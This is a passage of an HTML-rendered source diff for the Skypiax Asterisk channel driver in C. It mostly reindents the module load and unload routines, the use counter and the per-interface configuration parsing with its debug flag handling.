-    /* next one, please */
-    p = p2;
-  }
-  return 0;
</del><ins>+        /* start to monitor the interfaces (skypiax_iflist) for the first time */
+        if (skypiax_restart_monitor()) {
+                ERRORA(&quot;skypiax_restart_monitor failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                return -1;
+        }
+        /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
+        p = skypiax_iflist;
+        while (p) {
+                int i;
+                /* for each interface in list */
+                p2 = p-&gt;next;
+                NOTICA(&quot;STARTING interface %s, please be patient\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
+                i = 0;
+                while (p-&gt;SkypiaxHandles.api_connected == 0 &amp;&amp; running &amp;&amp; i &lt; 60000) {        // 60sec FIXME
+                        usleep(1000);
+                        i++;
+                }
+                if (p-&gt;SkypiaxHandles.api_connected) {
+                        NOTICA(&quot;STARTED interface %s\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
+                } else {
+                        ERRORA(&quot;Interface %s FAILED to start\n&quot;, SKYPIAX_P_LOG, p-&gt;name);
+                        running = 0;
+                        return -1;
+                }
+                /* next one, please */
+                p = p2;
+        }
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -940,94 +909,94 @@
</span><span class="cx">  */
</span><span class="cx"> int unload_module(void)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL, *p2 = NULL;
-  int res;
</del><ins>+        struct skypiax_pvt *p = NULL, *p2 = NULL;
+        int res;
</ins><span class="cx"> 
</span><del>-  /* unregister our channel type with Asterisk */
-  ast_channel_unregister(&amp;skypiax_tech);
-  ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</del><ins>+        /* unregister our channel type with Asterisk */
+        ast_channel_unregister(&amp;skypiax_tech);
+        ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
</ins><span class="cx"> 
</span><span class="cx"> #if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
</span><span class="cx"> #ifndef __CYGWIN__
</span><del>-  //FIXME what to do? if (!XInitThreads())
-  //FIXME what to do? ast_log(LOG_ERROR, &quot;Not initialized XInitThreads!\n&quot;);
</del><ins>+        //FIXME what to do? if (!XInitThreads())
+        //FIXME what to do? ast_log(LOG_ERROR, &quot;Not initialized XInitThreads!\n&quot;);
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><span class="cx"> #if 0
</span><del>-  ast_unregister_atexit(skypiax_disconnect);
-  ast_unregister_application(skype2skypiaxapp);
-  ast_unregister_application(skypiax2skypeapp);
</del><ins>+        ast_unregister_atexit(skypiax_disconnect);
+        ast_unregister_application(skype2skypiaxapp);
+        ast_unregister_application(skypiax2skypeapp);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
</span><span class="cx"> 
</span><del>-  /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
-  LOKKA(&amp;skypiax_monlock);
-  if (skypiax_monitor_thread &amp;&amp; (skypiax_monitor_thread != AST_PTHREADT_NULL)
-      &amp;&amp; (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
-    if (pthread_cancel(skypiax_monitor_thread)) {
-      ERRORA(&quot;pthread_cancel failed, BAD\n&quot;, SKYPIAX_P_LOG);
-      return -1;
-    }
-    if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
-      DEBUGA_PBX(&quot;pthread_kill failed\n&quot;, SKYPIAX_P_LOG);   //maybe it just died
-    }
-#ifndef __CYGWIN__              /* under cygwin, this seems to be not reliable, get stuck at times */
-    if (pthread_join(skypiax_monitor_thread, NULL)) {
-      ERRORA(&quot;pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
-      return -1;
-    }
</del><ins>+        /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
+        LOKKA(&amp;skypiax_monlock);
+        if (skypiax_monitor_thread &amp;&amp; (skypiax_monitor_thread != AST_PTHREADT_NULL)
+                &amp;&amp; (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
+                if (pthread_cancel(skypiax_monitor_thread)) {
+                        ERRORA(&quot;pthread_cancel failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                        return -1;
+                }
+                if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
+                        DEBUGA_PBX(&quot;pthread_kill failed\n&quot;, SKYPIAX_P_LOG);        //maybe it just died
+                }
+#ifndef __CYGWIN__                                /* under cygwin, this seems to be not reliable, get stuck at times */
+                if (pthread_join(skypiax_monitor_thread, NULL)) {
+                        ERRORA(&quot;pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                        return -1;
+                }
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>-  }
-  skypiax_monitor_thread = AST_PTHREADT_STOP;
-  UNLOCKA(&amp;skypiax_monlock);
</del><ins>+        }
+        skypiax_monitor_thread = AST_PTHREADT_STOP;
+        UNLOCKA(&amp;skypiax_monlock);
</ins><span class="cx"> 
</span><del>-  if (skypiax_monitor_audio_thread &amp;&amp; (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
-      &amp;&amp; (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
</del><ins>+        if (skypiax_monitor_audio_thread &amp;&amp; (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
+                &amp;&amp; (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
</ins><span class="cx"> 
</span><del>-    if (pthread_cancel(skypiax_monitor_audio_thread)) {
-      ERRORA(&quot;pthread_cancel skypiax_monitor_audio_thread failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    }
-    if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
-      DEBUGA_PBX(&quot;pthread_kill skypiax_monitor_audio_thread failed, no problem\n&quot;, SKYPIAX_P_LOG);  //maybe it just died
-    }
</del><ins>+                if (pthread_cancel(skypiax_monitor_audio_thread)) {
+                        ERRORA(&quot;pthread_cancel skypiax_monitor_audio_thread failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                }
+                if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
+                        DEBUGA_PBX(&quot;pthread_kill skypiax_monitor_audio_thread failed, no problem\n&quot;, SKYPIAX_P_LOG);        //maybe it just died
+                }
</ins><span class="cx"> 
</span><del>-    if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
-      ERRORA(&quot;pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
-    }
-  }
-  /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
-  LOKKA(&amp;skypiax_iflock);
-  p = skypiax_iflist;
-  while (p) {
-    /* for each interface in list */
-    p2 = p-&gt;next;
-    /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
-    DEBUGA_SOUND(&quot;shutting down sound\n&quot;, SKYPIAX_P_LOG);
-    res = skypiax_sound_shutdown(p);
-    if (res == -1) {
-      ERRORA(&quot;Failed to shutdown sound\n&quot;, SKYPIAX_P_LOG);
-    }
</del><ins>+                if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
+                        ERRORA(&quot;pthread_join failed, BAD\n&quot;, SKYPIAX_P_LOG);
+                }
+        }
+        /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
+        LOKKA(&amp;skypiax_iflock);
+        p = skypiax_iflist;
+        while (p) {
+                /* for each interface in list */
+                p2 = p-&gt;next;
+                /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
+                DEBUGA_SOUND(&quot;shutting down sound\n&quot;, SKYPIAX_P_LOG);
+                res = skypiax_sound_shutdown(p);
+                if (res == -1) {
+                        ERRORA(&quot;Failed to shutdown sound\n&quot;, SKYPIAX_P_LOG);
+                }
</ins><span class="cx"> #if 0
</span><del>-    /* if a dsp struct has been allocated, free it */
-    if (p-&gt;dsp) {
-      ast_dsp_free(p-&gt;dsp);
-      p-&gt;dsp = NULL;
-    }
</del><ins>+                /* if a dsp struct has been allocated, free it */
+                if (p-&gt;dsp) {
+                        ast_dsp_free(p-&gt;dsp);
+                        p-&gt;dsp = NULL;
+                }
</ins><span class="cx"> #endif
</span><del>-    DEBUGA_PBX(&quot;freeing PVT\n&quot;, SKYPIAX_P_LOG);
-    /* free the pvt allocated memory */
-    free(p);
-    /* next one, please */
-    p = p2;
-  }
-  /* finished with the interfaces list, unlock the skypiax_iflock */
-  UNLOCKA(&amp;skypiax_iflock);
</del><ins>+                DEBUGA_PBX(&quot;freeing PVT\n&quot;, SKYPIAX_P_LOG);
+                /* free the pvt allocated memory */
+                free(p);
+                /* next one, please */
+                p = p2;
+        }
+        /* finished with the interfaces list, unlock the skypiax_iflock */
+        UNLOCKA(&amp;skypiax_iflock);
</ins><span class="cx"> 
</span><span class="cx"> #ifdef __CYGWIN__
</span><del>-  NOTICA(&quot;Sleping 5 secs, please wait...\n&quot;, SKYPIAX_P_LOG);
-  sleep(5);                     /* without this pause, for some unknown (to me) reason it crashes on cygwin */
</del><ins>+        NOTICA(&quot;Sleping 5 secs, please wait...\n&quot;, SKYPIAX_P_LOG);
+        sleep(5);                                        /* without this pause, for some unknown (to me) reason it crashes on cygwin */
</ins><span class="cx"> #endif /* __CYGWIN__ */
</span><del>-  NOTICA(&quot;Unloaded Skypiax Module\n&quot;, SKYPIAX_P_LOG);
-  return 0;
</del><ins>+        NOTICA(&quot;Unloaded Skypiax Module\n&quot;, SKYPIAX_P_LOG);
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1037,16 +1006,16 @@
</span><span class="cx">  */
</span><span class="cx"> int usecount()
</span><span class="cx"> {
</span><del>-  int res;
-  static struct skypiax_pvt *p = &amp;skypiax_log_struct;
</del><ins>+        int res;
+        static struct skypiax_pvt *p = &amp;skypiax_log_struct;
</ins><span class="cx"> /* lock the skypiax_usecnt lock */
</span><del>-  LOKKA(&amp;skypiax_usecnt_lock);
-  /* retrieve the skypiax_usecnt */
-  res = skypiax_usecnt;
</del><ins>+        LOKKA(&amp;skypiax_usecnt_lock);
+        /* retrieve the skypiax_usecnt */
+        res = skypiax_usecnt;
</ins><span class="cx"> /* unlock the skypiax_usecnt lock */
</span><del>-  UNLOCKA(&amp;skypiax_usecnt_lock);
-  /* return the skypiax_usecnt */
-  return res;
</del><ins>+        UNLOCKA(&amp;skypiax_usecnt_lock);
+        /* return the skypiax_usecnt */
+        return res;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1056,7 +1025,7 @@
</span><span class="cx">  */
</span><span class="cx"> char *description()
</span><span class="cx"> {
</span><del>-  return (char *) skypiax_desc;
</del><ins>+        return (char *) skypiax_desc;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1066,11 +1035,11 @@
</span><span class="cx">  */
</span><span class="cx"> char *key()
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *p = NULL;
</del><ins>+        struct skypiax_pvt *p = NULL;
</ins><span class="cx"> 
</span><del>-  NOTICA(&quot;Returning Key\n&quot;, SKYPIAX_P_LOG);
</del><ins>+        NOTICA(&quot;Returning Key\n&quot;, SKYPIAX_P_LOG);
</ins><span class="cx"> 
</span><del>-  return ASTERISK_GPL_KEY;
</del><ins>+        return ASTERISK_GPL_KEY;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*!
</span><span class="lines">@@ -1085,321 +1054,313 @@
</span><span class="cx">  */
</span><span class="cx"> struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category)
</span><span class="cx"> {
</span><del>-  struct skypiax_pvt *tmp;
-  struct ast_variable *v;
-  int res;
</del><ins>+        struct skypiax_pvt *tmp;
+        struct ast_variable *v;
+        int res;
</ins><span class="cx"> 
</span><del>-  int debug_all = 0;
-  int debug_at = 0;
-  int debug_fbus2 = 0;
-  int debug_serial = 0;
-  int debug_sound = 0;
-  int debug_pbx = 0;
-  int debug_skype = 0;
-  int debug_call = 0;
-  int debug_locks = 0;
-  int debug_monitorlocks = 0;
</del><ins>+        int debug_all = 0;
+        int debug_at = 0;
+        int debug_fbus2 = 0;
+        int debug_serial = 0;
+        int debug_sound = 0;
+        int debug_pbx = 0;
+        int debug_skype = 0;
+        int debug_call = 0;
+        int debug_locks = 0;
+        int debug_monitorlocks = 0;
</ins><span class="cx"> 
</span><del>-  ast_log(LOG_DEBUG, &quot;ENTERING FUNC\n&quot;);
-  /* alloc memory for PVT */
-  tmp = malloc(sizeof(struct skypiax_pvt));
-  if (tmp == NULL) {            /* fail */
-    return NULL;
-  }
-  /* clear memory for PVT */
-  memset(tmp, 0, sizeof(struct skypiax_pvt));
</del><ins>+        ast_log(LOG_DEBUG, &quot;ENTERING FUNC\n&quot;);
+        /* alloc memory for PVT */
+        tmp = malloc(sizeof(struct skypiax_pvt));
+        if (tmp == NULL) {                        /* fail */
+                return NULL;
+        }
+        /* clear memory for PVT */
+        memset(tmp, 0, sizeof(struct skypiax_pvt));
</ins><span class="cx"> 
</span><del>-  /* if we are reading the &quot;first&quot; category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
-  if (is_first_category == 1) {
-    /* for each variable in category, copy it in the skypiax_default struct */
-    for (v = ast_variable_browse(cfg, ctg); v; v = v-&gt;next) {
-      M_START(v-&gt;name, v-&gt;value);
</del><ins>+        /* if we are reading the &quot;first&quot; category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
+        if (is_first_category == 1) {
+                /* for each variable in category, copy it in the skypiax_default struct */
+                for (v = ast_variable_browse(cfg, ctg); v; v = v-&gt;next) {
+                        M_START(v-&gt;name, v-&gt;value);
</ins><span class="cx"> 
</span><del>-      M_STR(&quot;context&quot;, skypiax_default.context)
-        M_STR(&quot;language&quot;, skypiax_default.language)
-        M_STR(&quot;extension&quot;, skypiax_default.exten)
-        M_F(&quot;playback_boost&quot;,
-            skypiax_store_boost(v-&gt;value, &amp;skypiax_default.playback_boost))
-        M_F(&quot;capture_boost&quot;,
-            skypiax_store_boost(v-&gt;value, &amp;skypiax_default.capture_boost))
-        M_UINT(&quot;skypiax_dir_entry_extension_prefix&quot;,
-               skypiax_default.skypiax_dir_entry_extension_prefix)
-        M_END(;);
-    }
-  }
</del><ins>+                        M_STR(&quot;context&quot;, skypiax_default.context)
+                                M_STR(&quot;language&quot;, skypiax_default.language)
+                                M_STR(&quot;extension&quot;, skypiax_default.exten)
+                                M_F(&quot;playback_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;skypiax_default.playback_boost))
+                                M_F(&quot;capture_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;skypiax_default.capture_boost))
+                                M_UINT(&quot;skypiax_dir_entry_extension_prefix&quot;, skypiax_default.skypiax_dir_entry_extension_prefix)
+                                M_END(;
+                                );
+                }
+        }
</ins><span class="cx"> 
</span><del>-  /* initialize the newly created PVT from the skypiax_default values */
-  *tmp = skypiax_default;
</del><ins>+        /* initialize the newly created PVT from the skypiax_default values */
+        *tmp = skypiax_default;
</ins><span class="cx"> 
</span><del>-  /* the category name becomes the interface name */
-  tmp-&gt;name = strdup(ctg);
</del><ins>+        /* the category name becomes the interface name */
+        tmp-&gt;name = strdup(ctg);
</ins><span class="cx"> 
</span><del>-  /* for each category in config file, &quot;first&quot; included, read in ALL the values */
-  for (v = ast_variable_browse(cfg, ctg); v; v = v-&gt;next) {
-    M_START(v-&gt;name, v-&gt;value);
</del><ins>+        /* for each category in config file, &quot;first&quot; included, read in ALL the values */
+        for (v = ast_variable_browse(cfg, ctg); v; v = v-&gt;next) {
+                M_START(v-&gt;name, v-&gt;value);
</ins><span class="cx"> 
</span><del>-    M_BOOL(&quot;debug_all&quot;, debug_all)
-      M_BOOL(&quot;debug_at&quot;, debug_at)
-      M_BOOL(&quot;debug_fbus2&quot;, debug_fbus2)
-      M_BOOL(&quot;debug_serial&quot;, debug_serial)
-      M_BOOL(&quot;debug_sound&quot;, debug_sound)
-      M_BOOL(&quot;debug_pbx&quot;, debug_pbx)
-      M_BOOL(&quot;debug_skype&quot;, debug_skype)
-      M_BOOL(&quot;debug_call&quot;, debug_call)
-      M_BOOL(&quot;debug_locks&quot;, debug_locks)
-      M_BOOL(&quot;debug_monitorlocks&quot;, debug_monitorlocks)
-      M_BOOL(&quot;skype&quot;, tmp-&gt;skype)
-      M_STR(&quot;context&quot;, tmp-&gt;context)
-      M_STR(&quot;language&quot;, tmp-&gt;language)
-      M_STR(&quot;extension&quot;, tmp-&gt;exten)
-      M_STR(&quot;X11_display&quot;, tmp-&gt;X11_display)
-      M_UINT(&quot;tcp_cli_port&quot;, tmp-&gt;tcp_cli_port)
-      M_UINT(&quot;tcp_srv_port&quot;, tmp-&gt;tcp_srv_port)
-      M_F(&quot;playback_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;tmp-&gt;playback_boost))
-      M_F(&quot;capture_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;tmp-&gt;capture_boost))
-      M_STR(&quot;skype_user&quot;, tmp-&gt;skype_user)
-      M_UINT(&quot;skypiax_dir_entry_extension_prefix&quot;,
-             tmp-&gt;skypiax_dir_entry_extension_prefix)
-      M_END(;);
-  }
</del><ins>+                M_BOOL(&quot;debug_all&quot;, debug_all)
+                        M_BOOL(&quot;debug_at&quot;, debug_at)
+                        M_BOOL(&quot;debug_fbus2&quot;, debug_fbus2)
+                        M_BOOL(&quot;debug_serial&quot;, debug_serial)
+                        M_BOOL(&quot;debug_sound&quot;, debug_sound)
+                        M_BOOL(&quot;debug_pbx&quot;, debug_pbx)
+                        M_BOOL(&quot;debug_skype&quot;, debug_skype)
+                        M_BOOL(&quot;debug_call&quot;, debug_call)
+                        M_BOOL(&quot;debug_locks&quot;, debug_locks)
+                        M_BOOL(&quot;debug_monitorlocks&quot;, debug_monitorlocks)
+                        M_BOOL(&quot;skype&quot;, tmp-&gt;skype)
+                        M_STR(&quot;context&quot;, tmp-&gt;context)
+                        M_STR(&quot;language&quot;, tmp-&gt;language)
+                        M_STR(&quot;extension&quot;, tmp-&gt;exten)
+                        M_STR(&quot;X11_display&quot;, tmp-&gt;X11_display)
+                        M_UINT(&quot;tcp_cli_port&quot;, tmp-&gt;tcp_cli_port)
+                        M_UINT(&quot;tcp_srv_port&quot;, tmp-&gt;tcp_srv_port)
+                        M_F(&quot;playback_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;tmp-&gt;playback_boost))
+                        M_F(&quot;capture_boost&quot;, skypiax_store_boost(v-&gt;value, &amp;tmp-&gt;capture_boost))
+                        M_STR(&quot;skype_user&quot;, tmp-&gt;skype_user)
+                        M_UINT(&quot;skypiax_dir_entry_extension_prefix&quot;, tmp-&gt;skypiax_dir_entry_extension_prefix)
+                        M_END(;
+                        );
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_all) {
-    skypiax_debug = skypiax_debug | DEBUG_ALL;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_ALL debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_ALL activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_all) {
+                skypiax_debug = skypiax_debug | DEBUG_ALL;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_ALL debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_ALL activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_fbus2) {
-    skypiax_debug = skypiax_debug | DEBUG_FBUS2;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_FBUS2 debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_FBUS2 activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_fbus2) {
+                skypiax_debug = skypiax_debug | DEBUG_FBUS2;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_FBUS2 debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_FBUS2 activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_serial) {
-    skypiax_debug = skypiax_debug | DEBUG_SERIAL;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SERIAL debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_SERIAL activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_serial) {
+                skypiax_debug = skypiax_debug | DEBUG_SERIAL;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SERIAL debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_SERIAL activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_sound) {
-    skypiax_debug = skypiax_debug | DEBUG_SOUND;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SOUND debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_SOUND activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_sound) {
+                skypiax_debug = skypiax_debug | DEBUG_SOUND;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SOUND debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_SOUND activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_pbx) {
-    skypiax_debug = skypiax_debug | DEBUG_PBX;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_PBX debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_PBX activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_pbx) {
+                skypiax_debug = skypiax_debug | DEBUG_PBX;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_PBX debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_PBX activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_skype) {
-    skypiax_debug = skypiax_debug | DEBUG_SKYPE;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SKYPE debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_SKYPE activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_skype) {
+                skypiax_debug = skypiax_debug | DEBUG_SKYPE;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_SKYPE debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_SKYPE activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_call) {
-    skypiax_debug = skypiax_debug | DEBUG_CALL;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_CALL debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_CALL activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_call) {
+                skypiax_debug = skypiax_debug | DEBUG_CALL;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_CALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_CALL debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_CALL activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_locks) {
-    skypiax_debug = skypiax_debug | DEBUG_LOCKS;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_LOCKS debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_LOCKS activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_locks) {
+                skypiax_debug = skypiax_debug | DEBUG_LOCKS;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_LOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_LOCKS debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_LOCKS activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (debug_monitorlocks) {
-    skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
-    if (!option_debug) {
-      WARNINGA
-        (&quot;DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_MONITORLOCKS debugging output.\n&quot;,
-         SKYPIAX_TMP_LOG);
-    } else {
-      NOTICA(&quot;DEBUG_MONITORLOCKS activated. \n&quot;, SKYPIAX_TMP_LOG);
-    }
-  }
</del><ins>+        if (debug_monitorlocks) {
+                skypiax_debug = skypiax_debug | DEBUG_MONITORLOCKS;
+                if (!option_debug) {
+                        WARNINGA
+                                (&quot;DEBUG_MONITORLOCKS activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \&quot;set debug 10\&quot; or start Asterisk with \&quot;-dddddddddd\&quot; option for full DEBUG_MONITORLOCKS debugging output.\n&quot;,
+                                 SKYPIAX_TMP_LOG);
+                } else {
+                        NOTICA(&quot;DEBUG_MONITORLOCKS activated. \n&quot;, SKYPIAX_TMP_LOG);
+                }
+        }
</ins><span class="cx"> 
</span><del>-  if (option_debug &gt; 1) {
-    DEBUGA_SOUND(&quot;playback_boost is %f\n&quot;, SKYPIAX_TMP_LOG, tmp-&gt;playback_boost);
-    DEBUGA_SOUND(&quot;capture_boost is %f\n&quot;, SKYPIAX_TMP_LOG, tmp-&gt;capture_boost);
-  }
</del><ins>+        if (option_debug &gt; 1) {
+                DEBUGA_SOUND(&quot;playback_boost is %f\n&quot;, SKYPIAX_TMP_LOG, tmp-&gt;playback_boost);
+                DEBUGA_SOUND(&quot;capture_boost is %f\n&quot;, SKYPIAX_TMP_LOG, tmp-&gt;capture_boost);
+        }
